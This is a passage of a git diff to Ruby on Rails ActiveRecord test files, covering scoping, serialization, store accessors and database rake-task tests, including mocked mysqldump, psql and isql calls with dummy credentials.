+    merged = Developer.where(name: "Jamis").merge(Developer.unscope(:where))
+    assert merged.where_values.empty?
+    assert !merged.where(name: "Jon").where_values.empty?
+  end
+
   def test_order_in_default_scope_should_not_prevail
     expected = Developer.all.merge!(order: 'salary desc').to_a.collect { |dev| dev.salary }
     received = DeveloperOrderedBySalary.all.merge!(order: 'salary').to_a.collect { |dev| dev.salary }
@@ -350,21 +378,39 @@ class DefaultScopingTest < ActiveRecord::TestCase
     assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count
   end
 
-  def test_default_scope_is_threadsafe
-    if in_memory_db?
-      skip "in memory db can't share a db between threads"
+  unless in_memory_db?
+    def test_default_scope_is_threadsafe
+      threads = []
+      assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+      threads << Thread.new do
+        Thread.current[:long_default_scope] = true
+        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+        ThreadsafeDeveloper.connection.close
+      end
+      threads << Thread.new do
+        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+        ThreadsafeDeveloper.connection.close
+      end
+      threads.each(&:join)
     end
+  end
 
-    threads = []
-    assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+  test "additional conditions are ANDed with the default scope" do
+    scope = DeveloperCalledJamis.where(name: "David")
+    assert_equal 2, scope.where_values.length
+    assert_equal [], scope.to_a
+  end
 
-    threads << Thread.new do
-      Thread.current[:long_default_scope] = true
-      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
-    end
-    threads << Thread.new do
-      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
-    end
-    threads.each(&:join)
+  test "additional conditions in a scope are ANDed with the default scope" do
+    scope = DeveloperCalledJamis.david
+    assert_equal 2, scope.where_values.length
+    assert_equal [], scope.to_a
+  end
+
+  test "a scope can remove the condition from the default scope" do
+    scope = DeveloperCalledJamis.david2
+    assert_equal 1, scope.where_values.length
+    assert_equal Developer.where(name: "David").map(&:id), scope.map(&:id)
   end
 end
diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb
index afe32af..59ec2dd 100644
--- a/activerecord/test/cases/scoping/named_scoping_test.rb
+++ b/activerecord/test/cases/scoping/named_scoping_test.rb
@@ -60,11 +60,6 @@ class NamedScopingTest < ActiveRecord::TestCase
     assert Topic.approved.respond_to?(:length)
   end
 
-  def test_respond_to_respects_include_private_parameter
-    assert !Topic.approved.respond_to?(:tables_in_string)
-    assert Topic.approved.respond_to?(:tables_in_string, true)
-  end
-
   def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
     assert !Topic.all.merge!(:where => {:approved => true}).to_a.empty?
 
@@ -271,6 +266,68 @@ class NamedScopingTest < ActiveRecord::TestCase
     assert_equal 'lifo', topic.author_name
   end
 
+  def test_reserved_scope_names
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      scope :approved, -> { where(approved: true) }
+
+      class << self
+        public
+          def pub; end
+
+        private
+          def pri; end
+
+        protected
+          def pro; end
+      end
+    end
+
+    subklass = Class.new(klass)
+
+    conflicts = [
+      :create,        # public class method on AR::Base
+      :relation,      # private class method on AR::Base
+      :new,           # redefined class method on AR::Base
+      :all,           # a default scope
+      :public,
+      :protected,
+      :private
+    ]
+
+    non_conflicts = [
+      :find_by_title, # dynamic finder method
+      :approved,      # existing scope
+      :pub,           # existing public class method
+      :pri,           # existing private class method
+      :pro,           # existing protected class method
+      :open,          # a ::Kernel method
+    ]
+
+    conflicts.each do |name|
+      assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+        klass.class_eval { scope name, ->{ where(approved: true) } }
+      end
+
+      assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+        subklass.class_eval { scope name, ->{ where(approved: true) } }
+      end
+    end
+
+    non_conflicts.each do |name|
+      assert_nothing_raised do
+        silence_warnings do
+          klass.class_eval { scope name, ->{ where(approved: true) } }
+        end
+      end
+
+      assert_nothing_raised do
+        subklass.class_eval { scope name, ->{ where(approved: true) } }
+      end
+    end
+  end
+
   # Method delegation for scope names which look like /\A[a-zA-Z_]\w*[!?]?\z/
   # has been done by evaluating a string with a plain def statement. For scope
   # names which contain spaces this approach doesn't work.
@@ -349,13 +406,13 @@ class NamedScopingTest < ActiveRecord::TestCase
   end
 
   def test_scopes_batch_finders
-    assert_equal 3, Topic.approved.count
+    assert_equal 4, Topic.approved.count
 
-    assert_queries(4) do
+    assert_queries(5) do
       Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
     end
 
-    assert_queries(2) do
+    assert_queries(3) do
       Topic.approved.find_in_batches(:batch_size => 2) do |group|
         group.each {|t| assert t.approved? }
       end
@@ -371,7 +428,7 @@ class NamedScopingTest < ActiveRecord::TestCase
   def test_scopes_on_relations
     # Topic.replied
     approved_topics = Topic.all.approved.order('id DESC')
-    assert_equal topics(:fourth), approved_topics.first
+    assert_equal topics(:fifth), approved_topics.first
 
     replied_approved_topics = approved_topics.replied
     assert_equal topics(:third), replied_approved_topics.first
@@ -440,24 +497,13 @@ class NamedScopingTest < ActiveRecord::TestCase
     end
   end
 
-  def test_eager_scopes_are_deprecated
-    klass = Class.new(ActiveRecord::Base)
-    klass.table_name = 'posts'
-
-    assert_deprecated do
-      klass.scope :welcome_2, klass.where(:id => posts(:welcome).id)
-    end
-    assert_equal [posts(:welcome).title], klass.welcome_2.map(&:title)
-  end
-
-  def test_eager_default_scope_relations_are_deprecated
+  def test_eager_default_scope_relations_are_remove
     klass = Class.new(ActiveRecord::Base)
     klass.table_name = 'posts'
 
-    assert_deprecated do
+    assert_raises(ArgumentError) do
       klass.send(:default_scope, klass.where(:id => posts(:welcome).id))
     end
-    assert_equal [posts(:welcome).title], klass.all.map(&:title)
   end
 
   def test_subclass_merges_scopes_properly
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
index c46060a..7dd1f10 100644
--- a/activerecord/test/cases/serialization_test.rb
+++ b/activerecord/test/cases/serialization_test.rb
@@ -1,8 +1,11 @@
 require "cases/helper"
 require 'models/contact'
 require 'models/topic'
+require 'models/book'
 
 class SerializationTest < ActiveRecord::TestCase
+  fixtures :books
+
   FORMATS = [ :xml, :json ]
 
   def setup
@@ -65,4 +68,20 @@ class SerializationTest < ActiveRecord::TestCase
   ensure
     ActiveRecord::Base.include_root_in_json = original_root_in_json
   end
+
+  def test_read_attribute_for_serialization_with_format_after_init
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = 'books'
+
+    book = klazz.new(format: 'paperback')
+    assert_equal 'paperback', book.read_attribute_for_serialization(:format)
+  end
+
+  def test_read_attribute_for_serialization_with_format_after_find
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = 'books'
+
+    book = klazz.find(books(:awdr).id)
+    assert_equal 'paperback', book.read_attribute_for_serialization(:format)
+  end
 end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
index 05d6f2d..ab8edc3 100644
--- a/activerecord/test/cases/serialized_attribute_test.rb
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -19,12 +19,6 @@ class SerializedAttributeTest < ActiveRecord::TestCase
     assert_equal %w(content), Topic.serialized_attributes.keys
   end
 
-  def test_serialized_attributes_are_class_level_settings
-    topic = Topic.new
-    assert_raise(NoMethodError) { topic.serialized_attributes = [] }
-    assert_deprecated { topic.serialized_attributes }
-  end
-
   def test_serialized_attribute
     Topic.serialize("content", MyObject)
 
@@ -217,16 +211,15 @@ class SerializedAttributeTest < ActiveRecord::TestCase
   end
 
   def test_serialize_attribute_via_select_method_when_time_zone_available
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    Topic.serialize(:content, MyObject)
+    with_timezone_config aware_attributes: true do
+      Topic.serialize(:content, MyObject)
 
-    myobj = MyObject.new('value1', 'value2')
-    topic = Topic.create(content: myobj)
+      myobj = MyObject.new('value1', 'value2')
+      topic = Topic.create(content: myobj)
 
-    assert_equal(myobj, Topic.select(:content).find(topic.id).content)
-    assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
-  ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
+      assert_equal(myobj, Topic.select(:content).find(topic.id).content)
+      assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
+    end
   end
 
   def test_serialize_attribute_can_be_serialized_in_an_integer_column
@@ -249,10 +242,23 @@ class SerializedAttributeTest < ActiveRecord::TestCase
     myobj = MyObject.new('value1', 'value2')
     Topic.create(content: myobj)
     Topic.create(content: myobj)
+    type = Topic.column_types["content"]
+    assert !type.instance_variable_get("@column").is_a?(ActiveRecord::AttributeMethods::Serialization::Type)
+  end
 
-    Topic.all.each do |topic|
-      type = Topic.column_types["content"]
-      assert !type.instance_variable_get("@column").is_a?(ActiveRecord::AttributeMethods::Serialization::Type)
-    end
+  def test_serialized_column_should_unserialize_after_update_column
+    t = Topic.create(content: "first")
+    assert_equal("first", t.content)
+
+    t.update_column(:content, Topic.serialized_attributes["content"].dump("second"))
+    assert_equal("second", t.content)
+  end
+
+  def test_serialized_column_should_unserialize_after_update_attribute
+    t = Topic.create(content: "first")
+    assert_equal("first", t.content)
+
+    t.update_attribute(:content, "second")
+    assert_equal("second", t.content)
   end
 end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index 3e32d86..6a34c55 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -151,8 +151,59 @@ class StoreTest < ActiveRecord::TestCase
     assert_equal [:color, :homepage, :favorite_food], Admin::User.stored_attributes[:settings]
   end
 
-  test "stores_attributes are class level settings" do
-    assert_raise(NoMethodError) { @john.stored_attributes = Hash.new }
-    assert_raise(NoMethodError) { @john.stored_attributes }
+  test "stored_attributes are tracked per class" do
+    first_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :color
+    end
+    second_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :width, :height
+    end
+
+    assert_equal [:color], first_model.stored_attributes[:data]
+    assert_equal [:width, :height], second_model.stored_attributes[:data]
+  end
+
+  test "stored_attributes are tracked per subclass" do
+    first_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :color
+    end
+    second_model = Class.new(first_model) do
+      store_accessor :data, :width, :height
+    end
+    third_model = Class.new(first_model) do
+      store_accessor :data, :area, :volume
+    end
+
+    assert_equal [:color], first_model.stored_attributes[:data]
+    assert_equal [:color, :width, :height], second_model.stored_attributes[:data]
+    assert_equal [:color, :area, :volume], third_model.stored_attributes[:data]
+  end
+
+  test "YAML coder initializes the store when a Nil value is given" do
+    assert_equal({}, @john.params)
+  end
+
+  test "attributes_for_coder should return stored fields already serialized" do
+    attributes = {
+      "id" => @john.id,
+      "name"=> @john.name,
+      "settings" => "--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess\ncolor: black\n",
+      "preferences" => "--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess\nremember_login: true\n",
+      "json_data" => "{\"height\":\"tall\"}", "json_data_empty"=>"{\"is_a_good_guy\":true}",
+      "params" => "--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess {}\n",
+      "account_id"=> @john.account_id
+    }
+
+    assert_equal attributes, @john.attributes_for_coder
+  end
+
+  test "dump, load and dump again a model" do
+    dumped = YAML.dump(@john)
+    loaded = YAML.load(dumped)
+    assert_equal @john, loaded
+
+    second_dump = YAML.dump(loaded)
+    assert_equal dumped, second_dump
+    assert_equal @john, YAML.load(second_dump)
   end
 end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
index 3bfbc92..bf9e14f 100644
--- a/activerecord/test/cases/tasks/database_tasks_test.rb
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -1,4 +1,5 @@
 require 'cases/helper'
+require 'active_record/tasks/database_tasks'
 
 module ActiveRecord
   module DatabaseTasksSetupper
@@ -128,11 +129,22 @@ module ActiveRecord
       )
     end
 
-    def test_creates_test_database_when_environment_is_database
+    def test_creates_test_and_development_databases_when_env_was_not_specified
       ActiveRecord::Tasks::DatabaseTasks.expects(:create).
         with('database' => 'dev-db')
       ActiveRecord::Tasks::DatabaseTasks.expects(:create).
         with('database' => 'test-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new('development')
+      )
+    end
+
+    def test_creates_only_development_database_when_rails_env_is_development
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with('database' => 'dev-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns('development')
 
       ActiveRecord::Tasks::DatabaseTasks.create_current(
         ActiveSupport::StringInquirer.new('development')
@@ -142,7 +154,7 @@ module ActiveRecord
     def test_establishes_connection_for_the_given_environment
       ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
 
-      ActiveRecord::Base.expects(:establish_connection).with('development')
+      ActiveRecord::Base.expects(:establish_connection).with(:development)
 
       ActiveRecord::Tasks::DatabaseTasks.create_current(
         ActiveSupport::StringInquirer.new('development')
@@ -238,11 +250,22 @@ module ActiveRecord
       )
     end
 
-    def test_creates_test_database_when_environment_is_database
+    def test_drops_test_and_development_databases_when_env_was_not_specified
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
         with('database' => 'dev-db')
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
         with('database' => 'test-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_current(
+        ActiveSupport::StringInquirer.new('development')
+      )
+    end
+
+    def test_drops_only_development_database_when_rails_env_is_development
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with('database' => 'dev-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns('development')
 
       ActiveRecord::Tasks::DatabaseTasks.drop_current(
         ActiveSupport::StringInquirer.new('development')
@@ -305,4 +328,11 @@ module ActiveRecord
       end
     end
   end
+
+  class DatabaseTasksCheckSchemaFileTest < ActiveRecord::TestCase
+    def test_check_schema_file
+      Kernel.expects(:abort).with(regexp_matches(/awesome-file.sql/))
+      ActiveRecord::Tasks::DatabaseTasks.check_schema_file("awesome-file.sql")
+    end
+  end
 end
diff --git a/activerecord/test/cases/tasks/firebird_rake_test.rb b/activerecord/test/cases/tasks/firebird_rake_test.rb
deleted file mode 100644
index c54989a..0000000
--- a/activerecord/test/cases/tasks/firebird_rake_test.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-require 'cases/helper'
-
-unless defined?(FireRuby::Database)
-module FireRuby
-  module Database; end
-end
-end
-
-module ActiveRecord
-  module FirebirdSetupper
-    def setup
-      @database      = 'db.firebird'
-      @connection    = stub :connection
-      @configuration = {
-        'adapter'  => 'firebird',
-        'database' => @database
-      }
-      ActiveRecord::Base.stubs(:connection).returns(@connection)
-      ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-      @tasks = Class.new(ActiveRecord::Tasks::FirebirdDatabaseTasks) do
-        def initialize(configuration)
-          ActiveSupport::Deprecation.silence { super }
-        end
-      end
-      ActiveRecord::Tasks::DatabaseTasks.stubs(:class_for_adapter).returns(@tasks) unless defined? ActiveRecord::ConnectionAdapters::FirebirdAdapter
-    end
-  end
-
-  class FirebirdDBCreateTest < ActiveRecord::TestCase
-    include FirebirdSetupper
-
-    def test_db_retrieves_create
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
- 
-  class FirebirdDBDropTest < ActiveRecord::TestCase
-    include FirebirdSetupper
-
-    def test_db_retrieves_drop
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
- 
-  class FirebirdDBCharsetAndCollationTest < ActiveRecord::TestCase
-    include FirebirdSetupper
-
-    def test_db_retrieves_collation
-      assert_raise NoMethodError do
-        ActiveRecord::Tasks::DatabaseTasks.collation @configuration
-      end
-    end
-
-    def test_db_retrieves_charset
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.charset @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
-
-  class FirebirdStructureDumpTest < ActiveRecord::TestCase
-    include FirebirdSetupper
-
-    def setup
-      super
-      FireRuby::Database.stubs(:db_string_for).returns(@database)
-    end
-
-    def test_structure_dump
-      filename = "filebird.sql"
-      Kernel.expects(:system).with("isql -a #{@database} > #{filename}")
-
-      ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-    end
-  end
-
-  class FirebirdStructureLoadTest < ActiveRecord::TestCase
-    include FirebirdSetupper
-
-    def setup
-      super
-      FireRuby::Database.stubs(:db_string_for).returns(@database)
-    end
-
-    def test_structure_load
-      filename = "firebird.sql"
-      Kernel.expects(:system).with("isql -i #{filename} #{@database}")
-
-      ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
-    end
-  end
-end
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
index 816bd62..3e3a282 100644
--- a/activerecord/test/cases/tasks/mysql_rake_test.rb
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -65,99 +65,98 @@ module ActiveRecord
     end
   end
 
-  class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
-    def setup
-      unless current_adapter?(:MysqlAdapter)
-        return skip("only tested on mysql")
+  if current_adapter?(:MysqlAdapter)
+    class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub("Connection", create_database: true)
+        @error         = Mysql::Error.new "Invalid permissions"
+        @configuration = {
+          'adapter'  => 'mysql',
+          'database' => 'my-app-db',
+          'username' => 'pat',
+          'password' => 'wossname'
+        }
+
+        $stdin.stubs(:gets).returns("secret\n")
+        $stdout.stubs(:print).returns(nil)
+        @error.stubs(:errno).returns(1045)
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).
+          raises(@error).
+          then.returns(true)
       end
 
-      @connection    = stub("Connection", create_database: true)
-      @error         = Mysql::Error.new "Invalid permissions"
-      @configuration = {
-        'adapter'  => 'mysql',
-        'database' => 'my-app-db',
-        'username' => 'pat',
-        'password' => 'wossname'
-      }
-
-      $stdin.stubs(:gets).returns("secret\n")
-      $stdout.stubs(:print).returns(nil)
-      @error.stubs(:errno).returns(1045)
-      ActiveRecord::Base.stubs(:connection).returns(@connection)
-      ActiveRecord::Base.stubs(:establish_connection).
-        raises(@error).
-        then.returns(true)
-    end
+      if defined?(::Mysql)
+        def test_root_password_is_requested
+          assert_permissions_granted_for "pat"
+          $stdin.expects(:gets).returns("secret\n")
 
-    def test_root_password_is_requested
-      assert_permissions_granted_for "pat"
-      skip "only if mysql is available" unless defined?(::Mysql)
-      $stdin.expects(:gets).returns("secret\n")
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+        end
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_connection_established_as_root
+        assert_permissions_granted_for "pat"
+        ActiveRecord::Base.expects(:establish_connection).with(
+          'adapter'  => 'mysql',
+          'database' => nil,
+          'username' => 'root',
+          'password' => 'secret'
+        )
 
-    def test_connection_established_as_root
-      assert_permissions_granted_for "pat"
-      ActiveRecord::Base.expects(:establish_connection).with(
-        'adapter'  => 'mysql',
-        'database' => nil,
-        'username' => 'root',
-        'password' => 'secret'
-      )
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_database_created_by_root
+        assert_permissions_granted_for "pat"
+        @connection.expects(:create_database).
+          with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
 
-    def test_database_created_by_root
-      assert_permissions_granted_for "pat"
-      @connection.expects(:create_database).
-        with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_grant_privileges_for_normal_user
+        assert_permissions_granted_for "pat"
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-    def test_grant_privileges_for_normal_user
-      assert_permissions_granted_for "pat"
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_do_not_grant_privileges_for_root_user
+        @configuration['username'] = 'root'
+        @configuration['password'] = ''
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-    def test_do_not_grant_privileges_for_root_user
-      @configuration['username'] = 'root'
-      @configuration['password'] = ''
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_connection_established_as_normal_user
+        assert_permissions_granted_for "pat"
+        ActiveRecord::Base.expects(:establish_connection).returns do
+          ActiveRecord::Base.expects(:establish_connection).with(
+            'adapter'  => 'mysql',
+            'database' => 'my-app-db',
+            'username' => 'pat',
+            'password' => 'secret'
+          )
 
-    def test_connection_established_as_normal_user
-      assert_permissions_granted_for "pat"
-      ActiveRecord::Base.expects(:establish_connection).returns do
-        ActiveRecord::Base.expects(:establish_connection).with(
-          'adapter'  => 'mysql',
-          'database' => 'my-app-db',
-          'username' => 'pat',
-          'password' => 'secret'
-        )
+          raise @error
+        end
 
-        raise @error
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
       end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_sends_output_to_stderr_when_other_errors
+        @error.stubs(:errno).returns(42)
 
-    def test_sends_output_to_stderr_when_other_errors
-      @error.stubs(:errno).returns(42)
+        $stderr.expects(:puts).at_least_once.returns(nil)
 
-      $stderr.expects(:puts).at_least_once.returns(nil)
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      private
+        def assert_permissions_granted_for(db_user)
+          db_name = @configuration['database']
+          db_password = @configuration['password']
+          @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
+        end
     end
-
-    private
-      def assert_permissions_granted_for(db_user)
-        db_name = @configuration['database']
-        db_password = @configuration['password']
-        @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
-      end
   end
 
   class MySQLDBDropTest < ActiveRecord::TestCase
@@ -280,6 +279,15 @@ module ActiveRecord
 
       assert_match(/Could not dump the database structure/, warnings)
     end
+
+    def test_structure_dump_with_port_number
+      filename = "awesome-file.sql"
+      Kernel.expects(:system).with("mysqldump", "--port", "10000", "--result-file", filename, "--no-data", "test-db").returns(true)
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+        @configuration.merge('port' => 10000),
+        filename)
+    end
   end
 
   class MySQLStructureLoadTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/tasks/oracle_rake_test.rb b/activerecord/test/cases/tasks/oracle_rake_test.rb
deleted file mode 100644
index 5f840fe..0000000
--- a/activerecord/test/cases/tasks/oracle_rake_test.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-require 'cases/helper'
-
-module ActiveRecord
-  module OracleSetupper
-    def setup
-      @database      = 'db.oracle'
-      @connection    = stub :connection
-      @configuration = {
-        'adapter'  => 'oracle',
-        'database' => @database
-      }
-      ActiveRecord::Base.stubs(:connection).returns(@connection)
-      ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-      @tasks = Class.new(ActiveRecord::Tasks::OracleDatabaseTasks) do
-        def initialize(configuration)
-          ActiveSupport::Deprecation.silence { super }
-        end
-      end
-      ActiveRecord::Tasks::DatabaseTasks.stubs(:class_for_adapter).returns(@tasks) unless defined? ActiveRecord::ConnectionAdapters::OracleAdapter
-    end
-  end
-
-  class OracleDBCreateTest < ActiveRecord::TestCase
-    include OracleSetupper
-
-    def test_db_retrieves_create
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
- 
-  class OracleDBDropTest < ActiveRecord::TestCase
-    include OracleSetupper
-
-    def test_db_retrieves_drop
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
- 
-  class OracleDBCharsetAndCollationTest < ActiveRecord::TestCase
-    include OracleSetupper
-
-    def test_db_retrieves_collation
-      assert_raise NoMethodError do
-        ActiveRecord::Tasks::DatabaseTasks.collation @configuration
-      end
-    end
-
-    def test_db_retrieves_charset
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.charset @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
-
-  class OracleStructureDumpTest < ActiveRecord::TestCase
-    include OracleSetupper
-
-    def setup
-      super
-      @connection.stubs(:structure_dump).returns("select sysdate from dual;")
-    end
-
-    def test_structure_dump
-      filename = "oracle.sql"
-      ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-      assert File.exists?(filename)
-    ensure
-      FileUtils.rm_f(filename)
-    end
-  end
-
-  class OracleStructureLoadTest < ActiveRecord::TestCase
-    include OracleSetupper
-
-    def test_structure_load
-      filename = "oracle.sql"
-
-      open(filename, 'w') { |f| f.puts("select sysdate from dual;") }
-      @connection.stubs(:execute).with("select sysdate from dual;\n")
-      ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
-    ensure
-      FileUtils.rm_f(filename)
-    end
-  end
-end
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
index f31896b..6ea2251 100644
--- a/activerecord/test/cases/tasks/postgresql_rake_test.rb
+++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb
@@ -206,7 +206,7 @@ module ActiveRecord
       @connection.expects(:schema_search_path).returns("foo")
 
       ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-      assert File.exists?(filename)
+      assert File.exist?(filename)
     ensure
       FileUtils.rm(filename)
     end
@@ -231,6 +231,13 @@ module ActiveRecord
 
       ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
     end
+
+    def test_structure_load_accepts_path_with_spaces
+      filename = "awesome file.sql"
+      Kernel.expects(:system).with("psql -q -f awesome\\ file.sql my-app-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+    end
   end
 
 end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
index 7209c0f..da3471a 100644
--- a/activerecord/test/cases/tasks/sqlite_rake_test.rb
+++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb
@@ -159,8 +159,8 @@ module ActiveRecord
       filename = "awesome-file.sql"
 
       ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, '/rails/root'
-      assert File.exists?(dbfile)
-      assert File.exists?(filename)
+      assert File.exist?(dbfile)
+      assert File.exist?(filename)
     ensure
       FileUtils.rm_f(filename)
       FileUtils.rm_f(dbfile)
@@ -182,7 +182,7 @@ module ActiveRecord
 
       open(filename, 'w') { |f| f.puts("select datetime('now', 'localtime');") }
       ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, '/rails/root'
-      assert File.exists?(dbfile)
+      assert File.exist?(dbfile)
     ensure
       FileUtils.rm_f(filename)
       FileUtils.rm_f(dbfile)
diff --git a/activerecord/test/cases/tasks/sqlserver_rake_test.rb b/activerecord/test/cases/tasks/sqlserver_rake_test.rb
deleted file mode 100644
index 0f1264b..0000000
--- a/activerecord/test/cases/tasks/sqlserver_rake_test.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-require 'cases/helper'
-
-module ActiveRecord
-  module SqlserverSetupper
-    def setup
-      @database      = 'db.sqlserver'
-      @connection    = stub :connection
-      @configuration = {
-        'adapter'  => 'sqlserver',
-        'database' => @database,
-        'host'     => 'localhost',
-        'username' => 'username',
-        'password' => 'password',
-      }
-      ActiveRecord::Base.stubs(:connection).returns(@connection)
-      ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-      @tasks = Class.new(ActiveRecord::Tasks::SqlserverDatabaseTasks) do
-        def initialize(configuration)
-          ActiveSupport::Deprecation.silence { super }
-        end
-      end
-      ActiveRecord::Tasks::DatabaseTasks.stubs(:class_for_adapter).returns(@tasks) unless defined? ActiveRecord::ConnectionAdapters::SQLServerAdapter
-    end
-  end
-
-  class SqlserverDBCreateTest < ActiveRecord::TestCase
-    include SqlserverSetupper
-
-    def test_db_retrieves_create
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
- 
-  class SqlserverDBDropTest < ActiveRecord::TestCase
-    include SqlserverSetupper
-
-    def test_db_retrieves_drop
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-      end
-      assert_match(/not supported/, message)
-    end
-  end
- 
-  class SqlserverDBCharsetAndCollationTest < ActiveRecord::TestCase
-    include SqlserverSetupper
-
-    def test_db_retrieves_collation
-      assert_raise NoMethodError do
-        ActiveRecord::Tasks::DatabaseTasks.collation @configuration
-      end
-    end
-
-    def test_db_retrieves_charset
-      message = capture(:stderr) do
-        ActiveRecord::Tasks::DatabaseTasks.charset @configuration
-      end
